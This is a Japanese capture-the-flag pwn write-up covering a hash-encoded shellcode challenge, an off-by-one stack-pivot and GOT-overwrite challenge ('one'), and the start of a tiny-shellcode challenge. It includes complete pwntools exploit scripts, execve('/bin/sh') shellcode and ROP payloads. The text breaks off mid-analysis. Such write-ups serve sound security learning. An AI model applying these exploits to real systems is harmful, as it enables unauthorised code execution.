$r9 : 0x0000000000000000
$r10 : 0x00007f7c68a0abe8 -> 0x0011002200006cb5
$r11 : 0x0000000000000202
$r12 : 0x0000000000000001
$r13 : 0x0000000000000000
$r14 : 0x000055b432dbedd8 -> 0x000055b432dbc140 -> 0x2f1d3d80fa1e0ff3
$r15 : 0x00007f7c68c90000 <_rtld_global> -> 0x00007f7c68c912e0 -> 0x000055b432dbb000 -> 0x00010102464c457f
$eflags: 0x10246 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
rbxにはスタックのアドレスが格納されています。/bin/sh\0へのアドレスを指定する際に、アセンブリでスタックのアドレスをそのまま代入しようとするとかなりのバイト数を消費するため、このrbxをうまく活用して/bin/sh\0へのアドレスをrdiレジスタに設定する必要があります。
あとはシェルコードを書いていくだけなのですが、4バイトごとに書き込むことのできないreservedメンバの領域が出てくるため、そこを避けながらシェルコードを書いていく必要があります。今回は以下のようなシェルコードを作成しました。
0: 48 89 df mov rdi,rbx
3: 90 nop
4: 90 nop
5: 90 nop
6: eb 04 jmp c <_main+0xc>
8: 48 83 ef 38 sub rdi,0x38
c: 90 nop
d: 90 nop
e: eb 04 jmp 14 <_main+0x14>
10: 48 31 f6 xor rsi,rsi
13: 48 31 d2 xor rdx,rdx
16: eb 04 jmp 1c <_main+0x1c>
18: 6a 3b push 0x3b
1a: 58 pop rax
1b: 0f 05 syscall
8バイトごとに書き込みつつ、間の4バイトはjmp +4で飛んでもらいます。なお、今回書き込むときは、
uint64_t calc_hash(char *buf, size_t len) {
uint64_t result = 0;
for (size_t i = 0; i < len; i++) {
result = result * 127 + buf[i];
}
return result;
}
で計算された値が格納されるため、目的となる値が格納されるためのbufを求める関数をChatGPT先生に作成してもらいました。
def invert_hash(result):
"""
calc_hash で得られた result から buf の候補を復元する。
buf[i] は 0〜255 の範囲に制限される。
"""
buf = []
while result > 0:
# 下位の文字(最後に足された値)は result % 127
c = result % 127
if c > 255:
raise ValueError("復元不可能な値です")
buf.append(c)
result //= 127
# 逆順に並べ替えてバイト列を得る
buf.reverse()
return bytes(buf)
解答
ans.py
from pwn import *
#context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
libc = ELF(args.LIBC)
else:
libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
str(y).encode() if isinstance(y, (int, float)) else
y.encode() if isinstance(y, str) else
y if isinstance(y, bytes) else
(_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}")) # raise TypeError
for y in x
)
rc = lambda *x, **y: p.recv(*conv(*x), **y)
ru = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn = lambda *x, **y: p.send(*conv(*x), **y)
sl = lambda *x, **y: p.sendline(*conv(*x), **y)
sa = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
# アーキテクチャの指定(何も指定しなければx64)
if args.X32:
context.arch = "i386"
log.info("set i386")
else:
context.arch = "amd64"
log.info("set amd64")
# tmuxを使用する場合はTMUXを指定
if args.TMUX:
context.terminal = ['tmux', 'split-window', '-h']
# 実行方法の指定
if args.REMOTE:
# REMOTE=host:portの形で指定
(host, port) = args.REMOTE.split(':')
return connect(host, port)
elif args.GDB:
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *chal+322
b *chal+416
b *chal+492
continue
'''.format(**locals())
def padu64(b):
while len(b) < 8:
b = b + b"\x00"
return u64(b)
def show_addr(addr,name="libc_base"):
print("------------------------------")
log.info(f"{name} = {addr:#018x}")
print("------------------------------")
def menu(num):
ru("1. New hash\n2. Show hash\n> ")
sl(num)
def add(index,data="hoge"):
menu(1)
ru("Index: ")
sl(index)
ru("Input> ")
sl(data)
def show(index):
menu(2)
ru("Index: ")
sl(index)
ru("Hash: ")
return int(rl().rstrip(),16)
def invert_hash(result):
"""
calc_hash で得られた result から buf の候補を復元する。
buf[i] は 0〜255 の範囲に制限される。
"""
buf = []
while result > 0:
# 下位の文字(最後に足された値)は result % 127
c = result % 127
if c > 255:
raise ValueError("復元不可能な値です")
buf.append(c)
result //= 127
# 逆順に並べ替えてバイト列を得る
buf.reverse()
return bytes(buf)
p = start()
for i in range(50):
print("i = " + str(i))
print(hex(show(i)))
# phase1 leak stack addr
addr_stack = show(41)
show_addr(addr_stack,"stack_addr")
addr_payload = addr_stack - 0x120 #27の位置
# phase2 return addr → ret
addr_start = show(47)
elf.address = addr_start - 0x25 - 0x10a0
show_addr(elf.address,"elf_base")
rop_ret = elf.address + 0x000000000000101a
add(24,invert_hash((rop_ret & 0xffffffff) << 32))
# phase3 ret2payload
add(25,invert_hash(addr_payload))
val = int.from_bytes(b"/bin/sh\0", "little")
add(45,invert_hash(val))
shellcode = 0x4889DF909090EB044883EF389090EB044831F64831D2EB046A3B580F05
b = shellcode.to_bytes((shellcode.bit_length() + 7) // 8, "big")
chunks = [int.from_bytes(b[i:i+8], "little") for i in range(0, len(b), 8)]
for i, c in enumerate(chunks):
add(27+i,invert_hash(c))
menu(3)
p.interactive()
one(Medium)
概要
source code
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
__attribute__((constructor))
void init(void){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
}
int get_num() {
int num;
scanf("%d", &num);
return num;
}
void memo() {
char buf[336] = {};
for (;;) {
printf("\nMenu\n"
"1. Write\n"
"2. Read\n"
"0. Exit\n"
"> ");
switch (get_num()) {
case 1:
scanf("%336s", buf);
break;
case 2:
printf("%s\n", buf);
break;
default:
return;
}
}
}
int main(void) {
char name[16] = {};
printf("Enter your name > ");
fgets(name, sizeof(name), stdin);
memo();
return 0;
}
security
RELRO STACK CANARY NX PIE
Partial RELRO No canary found NX enabled No PIE
こちらの問題もかなり簡潔な内容となっていて見やすいですが、どのような流れでシェルを取っていくか考えづらい問題となっています。脆弱性としてはscanf("%336s", buf);の部分にoff-by-one errorが存在し、配置的にsaved rbpの末尾1バイトをヌルにすることができます。また、memo関数が終了してリターンした後すぐにmain関数も終了する関係でleave; ret命令が連続で実行されます。よってstack pivotが起こります。
当日はこの脆弱性部分とstack pivotする点には気づいていましたが、ここにたどり着いた時点でかなり焦っていて、デバッグをほとんどせずに飛ばしてしまいました。見た目が簡単な問題ほどデバッグで見えてくるものが多いのでもったいないことをしたなと感じています。
stack pivot
今回の脆弱性はsaved rbpの末尾1バイトをヌルにしてくれるというものですが、ASLRの関係でスタックのアドレスはランダムになっているため、末尾1バイトは0x00~0xf0のいずれかになります。ある時のスタックの状況を見てみると、
0x7ffcc24e1ca0|+0x0130|+038: 0x0000000000000000
0x7ffcc24e1ca8|+0x0138|+039: 0x0000000000000000
0x7ffcc24e1cb0|+0x0140|+040: 0x0000000000000000
0x7ffcc24e1cb8|+0x0148|+041: 0x0000000000000000
$rbp 0x7ffcc24e1cc0|+0x0150|+042: 0x00007ffcc24e1ce0 -> 0x00007ffcc24e1d80 -> 0x00007ffcc24e1de0 -> ...
0x7ffcc24e1cc8|+0x0158|+043: 0x00000000004012d7 <main+0x4d> -> 0x00c3c900000000b8 <- retaddr[1]
0x7ffcc24e1cd0|+0x0160|+044: 0x0000000a65676f68 ('hoge\n'?)
0x7ffcc24e1cd8|+0x0168|+045: 0x0000000000000000
0x7ffcc24e1ce0|+0x0170|+046: 0x00007ffcc24e1d80 -> 0x00007ffcc24e1de0 -> 0x0000000000000000
0x7ffcc24e1ce8|+0x0178|+047: 0x00007f075322a1ca -> 0xe80001d9cfe8c789 <- retaddr[2]
0x7ffcc24e1cc0がmemo関数のsaved rbpで、本来であれば0x00007ffcc24e1ce0を指すはずなのに末尾1バイトがヌルになれば、bufの方の領域(0x7ffcc24e1cb8よりも下位の方向)を指すようになるため、何かしらできそうですが、
0x7ffd1d8db6e0|+0x0130|+038: 0x0000000000000000
0x7ffd1d8db6e8|+0x0138|+039: 0x0000000000000000
0x7ffd1d8db6f0|+0x0140|+040: 0x0000000000000000
0x7ffd1d8db6f8|+0x0148|+041: 0x0000000000000000
$rbp 0x7ffd1d8db700|+0x0150|+042: 0x00007ffd1d8db720 -> 0x00007ffd1d8db7c0 -> 0x00007ffd1d8db820 -> ...
0x7ffd1d8db708|+0x0158|+043: 0x00000000004012d7 <main+0x4d> -> 0x00c3c900000000b8 <- retaddr[1]
0x7ffd1d8db710|+0x0160|+044: 0x0000000a65676f68 ('hoge\n'?)
0x7ffd1d8db718|+0x0168|+045: 0x0000000000000000
0x7ffd1d8db720|+0x0170|+046: 0x00007ffd1d8db7c0 -> 0x00007ffd1d8db820 -> 0x0000000000000000
0x7ffd1d8db728|+0x0178|+047: 0x00007fa249c2a1ca -> 0xe80001d9cfe8c789 <- retaddr[2]
saved rbpの末尾が0x20のときに、ヌルに変わったとしてもsaved rbpが格納されているアドレスを指すこととなり、これでは何もできなさそうです。よって、ROPを構築することも考えて、saved rbpの末尾の値がだいたい0x50~0xf0のときにうまくいきます。
うまくいったときは、まずmemo関数のleave命令でrbpレジスタにその値が格納され、次にmain関数で再度leave命令が実行され、最終的には末尾がヌルのsaved rbpの値+8の位置のアドレスがrspレジスタに格納されます。この時、rspが指すアドレスはbufの領域に被っているため、336文字書き込むついでにROPを書いておけば、次にROPを実行してくれます。自分は以下のようなROPを書きました。
p64(rop_pop_rbp) + p64(elf.got["puts"]+0x150) + p64(elf.symbols["memo"]+38) + p64(rop_ret)
なお、gotおよびmemo関数の逆アセンブル結果は以下のようになっています。
Name | PLT | GOT | GOT value
---------------------------------------------------- .rela.dyn ----------------------------------------------------
__libc_start_main | Not found | 0x000000403fd8 | 0x7fd01ec2a200 <__libc_start_main>
__gmon_start__ | Not found | 0x000000403fe0 | 0x000000000000
---------------------------------------------------- .rela.plt ----------------------------------------------------
puts | 0x000000401080 | 0x000000404000 | 0x000000401030 <.plt+0x10>
setbuf | 0x000000401090 | 0x000000404008 | 0x7fd01ec8f750 <setbuf>
printf | 0x0000004010a0 | 0x000000404010 | 0x7fd01ec60100 <printf>
fgets | 0x0000004010b0 | 0x000000404018 | 0x7fd01ec85b30 <fgets>
__isoc99_scanf | 0x0000004010c0 | 0x000000404020 | 0x7fd01ec5fe10 <__isoc99_scanf>
gef> disas memo
Dump of assembler code for function memo:
0x0000000000401210 <+0>: endbr64
0x0000000000401214 <+4>: push rbp
0x0000000000401215 <+5>: mov rbp,rsp
0x0000000000401218 <+8>: sub rsp,0x150
0x000000000040121f <+15>: lea rdx,[rbp-0x150]
0x0000000000401226 <+22>: mov eax,0x0
0x000000000040122b <+27>: mov ecx,0x2a
0x0000000000401230 <+32>: mov rdi,rdx
0x0000000000401233 <+35>: rep stos QWORD PTR es:[rdi],rax
0x0000000000401236 <+38>: mov edi,0x402010
0x000000000040123b <+43>: mov eax,0x0
0x0000000000401240 <+48>: call 0x4010a0 <printf@plt>
0x0000000000401245 <+53>: mov eax,0x0
0x000000000040124a <+58>: call 0x4011e9 <get_num>
0x000000000040124f <+63>: cmp eax,0x1
0x0000000000401252 <+66>: je 0x40125b <memo+75>
0x0000000000401254 <+68>: cmp eax,0x2
0x0000000000401257 <+71>: je 0x401276 <memo+102>
0x0000000000401259 <+73>: jmp 0x401288 <memo+120>
0x000000000040125b <+75>: lea rax,[rbp-0x150]
0x0000000000401262 <+82>: mov rsi,rax
0x0000000000401265 <+85>: mov edi,0x402032
0x000000000040126a <+90>: mov eax,0x0
0x000000000040126f <+95>: call 0x4010c0 <__isoc99_scanf@plt>
0x0000000000401274 <+100>: jmp 0x401286 <memo+118>
0x0000000000401276 <+102>: lea rax,[rbp-0x150]
0x000000000040127d <+109>: mov rdi,rax
0x0000000000401280 <+112>: call 0x401080 <puts@plt>
0x0000000000401285 <+117>: nop
0x0000000000401286 <+118>: jmp 0x401236 <memo+38>
0x0000000000401288 <+120>: leave
=> 0x0000000000401289 <+121>: ret
2番の選択肢を選ぶとrbp-0x150の位置を表示してくれるため、puts@got+0x150をrbpに設定してからmemo関数のメニューを表示してくれる箇所に飛ばすROPを組みました。これによってrbpレジスタにputs@got+0x150を設定した状態で表示したり書き込んだりすることが出来るようになりました。
なお、stack pivotでbufのどこに飛ぶかはASLRにより分からないため、全体にROPを書き込んでいます。また、今回のROPはパディング含めて0x20バイトであるため、ROPの途中に飛んでしまったら失敗します。
GOT Overwrite & Call System
今回はPartial RELROなのでgotを書き換えてsystem("/bin/sh\0")を呼べるようにします。何かいい場所がないか見てみると
int main(void) {
char name[16] = {};
printf("Enter your name > ");
fgets(name, sizeof(name), stdin);
memo();
return 0;
}
のfgetsをsystemに変えることができればいい感じに呼べそうです。第1引数は
0x00000000004012b5 <+43>: mov rdx,QWORD PTR [rip+0x2d94] # 0x404050 <stdin@GLIBC_2.2.5>
0x00000000004012bc <+50>: lea rax,[rbp-0x10]
0x00000000004012c0 <+54>: mov esi,0x10
0x00000000004012c5 <+59>: mov rdi,rax
0x00000000004012c8 <+62>: call 0x4010b0 <fgets@plt>
より、rbp-0x10で設定できそうなので、以下のことを一気に行います。
-
fgets@gotをsystemにする -
rbp-0x10の位置に/bin/sh\0を書き込む -
puts@gotをmain+43にする
この書き込みを行ったあと、memo関数の2番の選択肢を実行すると、実際はputs関数なのでputs関数のgotが呼ばれ、最終的にはsystem("/bin/sh\0")を呼ぶことができます。ただ注意点が2点あります。
1点目はgot書き換え時の注意点で、
gef> x/60gx 0x000000404000
0x404000 <puts@got[plt]>: 0x0000000000401030 0x00007fd01ec8f750
0x404010 <printf@got[plt]>: 0x00007fd01ec60100 0x00007fd01ec85b30
0x404020 <__isoc99_scanf@got.plt>: 0x00007fd01ec5fe10 0x0000000000000000
0x404030: 0x0000000000000000 0x0000000000000000
0x404040 <stdout@GLIBC_2.2.5>: 0x00007fd01ee045c0 0x0000000000000000
0x404050 <stdin@GLIBC_2.2.5>: 0x00007fd01ee038e0 0x0000000000000000
/bin/sh\0を書き込む際にstdout@GLIBC_2.2.5とstdin@GLIBC_2.2.5の部分も上書きすることになりますが、ここを書き換えると後程挙動がおかしくなるため、ここは元の値が入るようにする必要があります。
2点目はsystem関数呼び出し時のスタックアライメントについてです。自分が試した時はputs@gotをsystemに書き換えるだけだと、呼び出し時点でスタックアライメントの条件を満たすことが出来ず、途中で落ちてしまいました。そこで、system関数の中身を見てみると、
gef> disas system
Dump of assembler code for function system:
0x00007fd01ec58750 <+0>: endbr64
0x00007fd01ec58754 <+4>: test rdi,rdi
0x00007fd01ec58757 <+7>: je 0x7fd01ec58760 <system+16>
0x00007fd01ec58759 <+9>: jmp 0x7fd01ec582d0
gef> x/10i 0x7fd01ec582d0
0x7fd01ec582d0: push r13
0x7fd01ec582d2: mov edx,0x1
0x7fd01ec582d7: push r12
0x7fd01ec582d9: mov r12,rdi
0x7fd01ec582dc: push rbp
0x7fd01ec582dd: push rbx
0x7fd01ec582de: sub rsp,0x388
0x7fd01ec582e5: mov rax,QWORD PTR fs:0x28
0x7fd01ec582ee: mov QWORD PTR [rsp+0x378],rax
第1引数のチェックをした後、ジャンプをしていて、その先でいくつかスタックに保存している処理がありました。このスタックに積む数次第でスタックアライメントを調整できるため、最初のpush r13を飛ばした0x7fd01ec582d2: mov edx,0x1の部分を設定してみたところうまくいきました。
解答
ans.py
from pwn import *
import time
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
libc = ELF(args.LIBC)
else:
libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
str(y).encode() if isinstance(y, (int, float)) else
y.encode() if isinstance(y, str) else
y if isinstance(y, bytes) else
(_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}")) # raise TypeError
for y in x
)
rc = lambda *x, **y: p.recv(*conv(*x), **y)
ru = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn = lambda *x, **y: p.send(*conv(*x), **y)
sl = lambda *x, **y: p.sendline(*conv(*x), **y)
sa = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
# アーキテクチャの指定(何も指定しなければx64)
if args.X32:
context.arch = "i386"
log.info("set i386")
else:
context.arch = "amd64"
log.info("set amd64")
# tmuxを使用する場合はTMUXを指定
if args.TMUX:
context.terminal = ['tmux', 'split-window', '-h']
# 実行方法の指定
if args.REMOTE:
# REMOTE=host:portの形で指定
(host, port) = args.REMOTE.split(':')
return connect(host, port)
elif args.GDB:
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *memo+95
b *memo+112
b *memo+120
continue
'''.format(**locals())
def padu64(b):
while len(b) < 8:
b = b + b"\x00"
return u64(b)
def show_addr(addr,name="libc_base"):
print("------------------------------")
log.info(f"{name} = {addr:#018x}")
print("------------------------------")
def menu(num):
ru("> ")
sl(num)
def write_buf(data="hoge"):
menu(1)
sl(data)
def read_buf():
menu(2)
def escape():
menu(3)
p = start()
# phase1 libc leak
ru("Enter your name > ")
sl("hoge")
rop_pop_rbp = 0x000000000040119d
rop_ret = 0x000000000040101a
payload = b"A" * 0x8
payload += (p64(rop_pop_rbp) + p64(elf.got["puts"]+0x150) + p64(elf.symbols["memo"]+38) + p64(rop_ret)) * 0x10
payload += b"A" * 0x8
write_buf(payload)
escape()
read_buf()
ru("> ")
libc.address = padu64(rl().rstrip()) - libc.symbols["puts"]
show_addr(libc.address)
# phase2 GOT Overwrite & call system
payload = p64(elf.symbols["main"]+43) # puts@got
payload += p64(libc.symbols["setbuf"])
payload += p64(libc.symbols["printf"])
payload += p64(libc.address + 0x582d2) #fgets@got
payload += p64(libc.symbols["__isoc99_scanf"])
payload += b"B" * 0x18
payload += p64(libc.symbols["_IO_2_1_stdout_"])
payload += b"B" * 0x8
payload += p64(libc.symbols["_IO_2_1_stdin_"])
payload += b"B" * (0x140 - len(payload))
payload += b"/bin/sh\0"
write_buf(payload)
read_buf()
p.interactive()
tiny-execute2(Hard)
概要
source code
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int check(char *buf, int size){
char forbidden[] = "cdflagbin/sh";
for(int i=0; i<size; i++){
for(int j=0; j<sizeof(forbidden); j++){
if (buf[i] == forbidden[j]){
return 0;
}
}
}
return 1;
}
int main(void){
char buf[6] = {0};
dprintf(STDOUT_FILENO, "Input shellcode > ");
int size = read(STDIN_FILENO, buf, sizeof(buf));
if(!check(buf, size)){
dprintf(STDOUT_FILENO, "Forbidden characters detected!\n");
return -1;
}
dprintf(STDOUT_FILENO, "OK! executing...\n");
((int (*)(void))buf)();
return 0;
}
security
RELRO STACK CANARY NX PIE
Full RELRO Canary found NX enabled PIE enabled
└─$ readelf -l tiny-execute2
Elf file type is DYN (Position-Independent Executable file)
Entry point 0x10a0
There are 13 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000002d8 0x00000000000002d8 R 0x8
INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000000006c0 0x00000000000006c0 R 0x1000
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000
0x0000000000000309 0x0000000000000309 R E 0x1000
LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000
0x000000000000015c 0x000000000000015c R 0x1000
LOAD 0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
0x0000000000000268 0x0000000000000270 RW 0x1000
DYNAMIC 0x0000000000002db8 0x0000000000003db8 0x0000000000003db8
0x00000000000001f0 0x00000000000001f0 RW 0x8
NOTE 0x0000000000000338 0x0000000000000338 0x0000000000000338
0x0000000000000030 0x0000000000000030 R 0x8
NOTE 0x0000000000000368 0x0000000000000368 0x0000000000000368
0x0000000000000044 0x0000000000000044 R 0x4
GNU_PROPERTY 0x0000000000000338 0x0000000000000338 0x0000000000000338
0x0000000000000030 0x0000000000000030 R 0x8
GNU_EH_FRAME 0x0000000000002054 0x0000000000002054 0x0000000000002054
0x000000000000003c 0x000000000000003c R 0x4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
GNU_RELRO 0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
0x0000000000000258 0x0000000000000258 R 0x1
tiny-executeとの違いはforbiddenの文字列がmain関数からcheck関数に移動した点と、bufのサイズが24バイトから6バイトに大幅に削減された点です。Hard問なだけあって、どうすればいいのかなかなか思いつきにくいですが、あることに気づけばtiny-executeとそこまで大差なく解くことができます。かなり夢のある問題でした。
stagerをシェルコードで作成(失敗)
tiny-executeの方ではstagerを用いて解きました。こちらの手法であれば変更点の1つ目である、forbiddenの文字列が移動してしまったという点は影響しないです。ということで、極力元のレジスタ値を使ってstagerを構築できないか考えました。関数ポインタを呼ぶ直前のレジスタは以下のようになっています。
---------------------------------------------------------------------------------------------------- registers ----
$rax : 0x00007ffc6558cf82 -> 0x8e0000e2ff7bb25a
$rbx : 0x00007ffc6558d0b8 -> 0x00007ffc6558e485 -> 0x616b2f656d6f682f 'tin[...]'
$rcx : 0x0000000000000000
$rdx : 0x0000000000000000
$rsp : 0x00007ffc6558cf70 -> 0x0000000000000000
$rbp : 0x00007ffc6558cf90 -> 0x00007ffc6558d030 -> 0x00007ffc6558d090 -> 0x0000000000000000
$rsi : 0x00007ffc6558c63c -> 0x6365786520214b4f 'OK! executing...\n '
$rdi : 0x00007ffc6558c610 -> 0x00007ffc6558c63c -> 0x6365786520214b4f 'OK! executing...\n '
$rip : 0x000055a9f23982dd <main+0xac> -> 0x4800000000b8d0ff
$r8 : 0x0000000000000000
$r9 : 0x00007f4600c85380 -> 0xe5894855fa1e0ff3
$r10 : 0x00007ffc6558ccb0 -> 0x0000000000800000
$r11 : 0x0000000000000202
$r12 : 0x0000000000000001
$r13 : 0x0000000000000000
$r14 : 0x000055a9f239adb0 <__do_global_dtors_aux_fini_array_entry> -> 0x000055a9f2398140 <__do_global_dtors_aux> -> 0x2ec53d80fa1e0ff3
$r15 : 0x00007f4600cb8000 <_rtld_global> -> 0x00007f4600cb92e0 -> 0x000055a9f2397000 -> 0x00010102464c457f
$eflags: 0x246 [ident align vx86 resume nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
また、main関数の逆アセンブルの結果は以下の通りです。
mainの逆アセンブル結果
gef> disas main
Dump of assembler code for function main:
0x000055a9f2398231 <+0>: endbr64
0x000055a9f2398235 <+4>: push rbp
0x000055a9f2398236 <+5>: mov rbp,rsp
0x000055a9f2398239 <+8>: sub rsp,0x20
0x000055a9f239823d <+12>: mov rax,QWORD PTR fs:0x28
0x000055a9f2398246 <+21>: mov QWORD PTR [rbp-0x8],rax
0x000055a9f239824a <+25>: xor eax,eax
0x000055a9f239824c <+27>: mov DWORD PTR [rbp-0xe],0x0
0x000055a9f2398253 <+34>: mov WORD PTR [rbp-0xa],0x0
0x000055a9f2398259 <+40>: lea rax,[rip+0xda8] # 0x55a9f2399008
0x000055a9f2398260 <+47>: mov rsi,rax
0x000055a9f2398263 <+50>: mov edi,0x1
0x000055a9f2398268 <+55>: mov eax,0x0
0x000055a9f239826d <+60>: call 0x55a9f2398080 <dprintf@plt>
0x000055a9f2398272 <+65>: lea rax,[rbp-0xe]
0x000055a9f2398276 <+69>: mov edx,0x6
0x000055a9f239827b <+74>: mov rsi,rax
0x000055a9f239827e <+77>: mov edi,0x0
0x000055a9f2398283 <+82>: call 0x55a9f2398090 <read@plt>
0x000055a9f2398288 <+87>: mov DWORD PTR [rbp-0x14],eax
0x000055a9f239828b <+90>: mov edx,DWORD PTR [rbp-0x14]
0x000055a9f239828e <+93>: lea rax,[rbp-0xe]
0x000055a9f2398292 <+97>: mov esi,edx
0x000055a9f2398294 <+99>: mov rdi,rax
0x000055a9f2398297 <+102>: call 0x55a9f2398189 <check>
0x000055a9f239829c <+107>: test eax,eax
0x000055a9f239829e <+109>: jne 0x55a9f23982c0 <main+143>
0x000055a9f23982a0 <+111>: lea rax,[rip+0xd79] # 0x55a9f2399020
0x000055a9f23982a7 <+118>: mov rsi,rax
0x000055a9f23982aa <+121>: mov edi,0x1
0x000055a9f23982af <+126>: mov eax,0x0
0x000055a9f23982b4 <+131>: call 0x55a9f2398080 <dprintf@plt>
0x000055a9f23982b9 <+136>: mov eax,0xffffffff
0x000055a9f23982be <+141>: jmp 0x55a9f23982e4 <main+179>
0x000055a9f23982c0 <+143>: lea rax,[rip+0xd79] # 0x55a9f2399040
0x000055a9f23982c7 <+150>: mov rsi,rax
0x000055a9f23982ca <+153>: mov edi,0x1
0x000055a9f23982cf <+158>: mov eax,0x0
0x000055a9f23982d4 <+163>: call 0x55a9f2398080 <dprintf@plt>
0x000055a9f23982d9 <+168>: lea rax,[rbp-0xe]
=> 0x000055a9f23982dd <+172>: call rax
0x000055a9f23982df <+174>: mov eax,0x0
0x000055a9f23982e4 <+179>: mov rdx,QWORD PTR [rbp-0x8]
0x000055a9f23982e8 <+183>: sub rdx,QWORD PTR fs:0x28
0x000055a9f23982f1 <+192>: je 0x55a9f23982f8 <main+199>
0x000055a9f23982f3 <+194>: call 0x55a9f2398070 <__stack_chk_fail@plt>
0x000055a9f23982f8 <+199>: leave
0x000055a9f23982f9 <+200>: ret
これらを踏まえながらレジスタを見てみると、まずraxレジスタにはbufへのアドレスが格納されていることが分かります。また、rbxレジスタにはargv[0]を指すスタックのアドレスが格納されたアドレスが格納されています。rsiレジスタにはスタックの後方のアドレスが格納されていて、こちらはrwx権限です。どう繋げるかはさておき、readシステムコールを呼び出そうと思ったら、最低でも
- eaxを0にする
- ediを0にする
- edxにそれなりの数を代入する
の3つを行ってからsyscallを呼ばなくてはいけません。syscallで2バイト必要なので正直これは厳しそうです。
stagerをmain関数で呼んでいるread関数を用いて作成
続いて、main関数で呼んでいるread関数を用いてstagerができないか試してみました。該当箇所のアセンブリを見てみると
0x000056157e38b272 <+65>: lea rax,[rbp-0xe]
0x000056157e38b276 <+69>: mov edx,0x6
0x000056157e38b27b <+74>: mov rsi,rax
0x000056157e38b27e <+77>: mov edi,0x0
0x000056157e38b283 <+82>: call 0x56157e38b090 <read@plt>
とあり、main+69のところで固定サイズを設定しているため、edxにサイズを設定した上で、main+74の位置に飛べれば良さそうに見えます。ただこれを一回でやるにはバイト数が足らないので、まずはmain関数近辺のアドレスを少ないバイト数で保持する方法を考えます。main関数近辺のアドレスに関しては、関数ポインタ呼び出しでcall raxを実行する時リターンアドレスがスタック上に格納されるのでこれをpopすればよいでしょう。問題はどのレジスタに保持するのかですが、まず、r8,r9などのレジスタは使われていなそうですが、popするのに2バイト消費するため、他に使われていなそうなレジスタを探してみるとrcxレジスタとrbxレジスタが見つかります。このうち、後者であれば更新されないことが分かったため、rbxレジスタを保存用として扱います。
次に、もう一度入力したいため、main関数に飛ぶ必要があります。何かいいものがないかスタック上を確認してみると、
$rsp 0x7ffda50d4f40|+0x0000|+000: 0x0000000000000000
0x7ffda50d4f48|+0x0008|+001: 0x00000004bcf5eaf0
0x7ffda50d4f50|+0x0010|+002: 0x00002855ff5b5040
0x7ffda50d4f58|+0x0018|+003: 0x824e87d2e5e6c400 <- canary
$rbp 0x7ffda50d4f60|+0x0020|+004: 0x00007ffda50d5000 -> 0x00007ffda50d5060 -> 0x0000000000000000
0x7ffda50d4f68|+0x0028|+005: 0x00007f8bbcc2a1ca <__libc_start_call_main+0x7a> -> 0xe80001d9cfe8c789 <- retaddr[1]
0x7ffda50d4f70|+0x0030|+006: 0x00007ffda50d4fb0 -> 0x000056157e38ddb0 <__do_global_dtors_aux_fini_array_entry> -> 0x000056157e38b140 <__do_global_dtors_aux> -> ...
0x7ffda50d4f78|+0x0038|+007: 0x00007ffda50d5088 -> 0x00007ffda50d6485 -> 0x616b2f656d6f682f 'tin[...]' <- $rbx
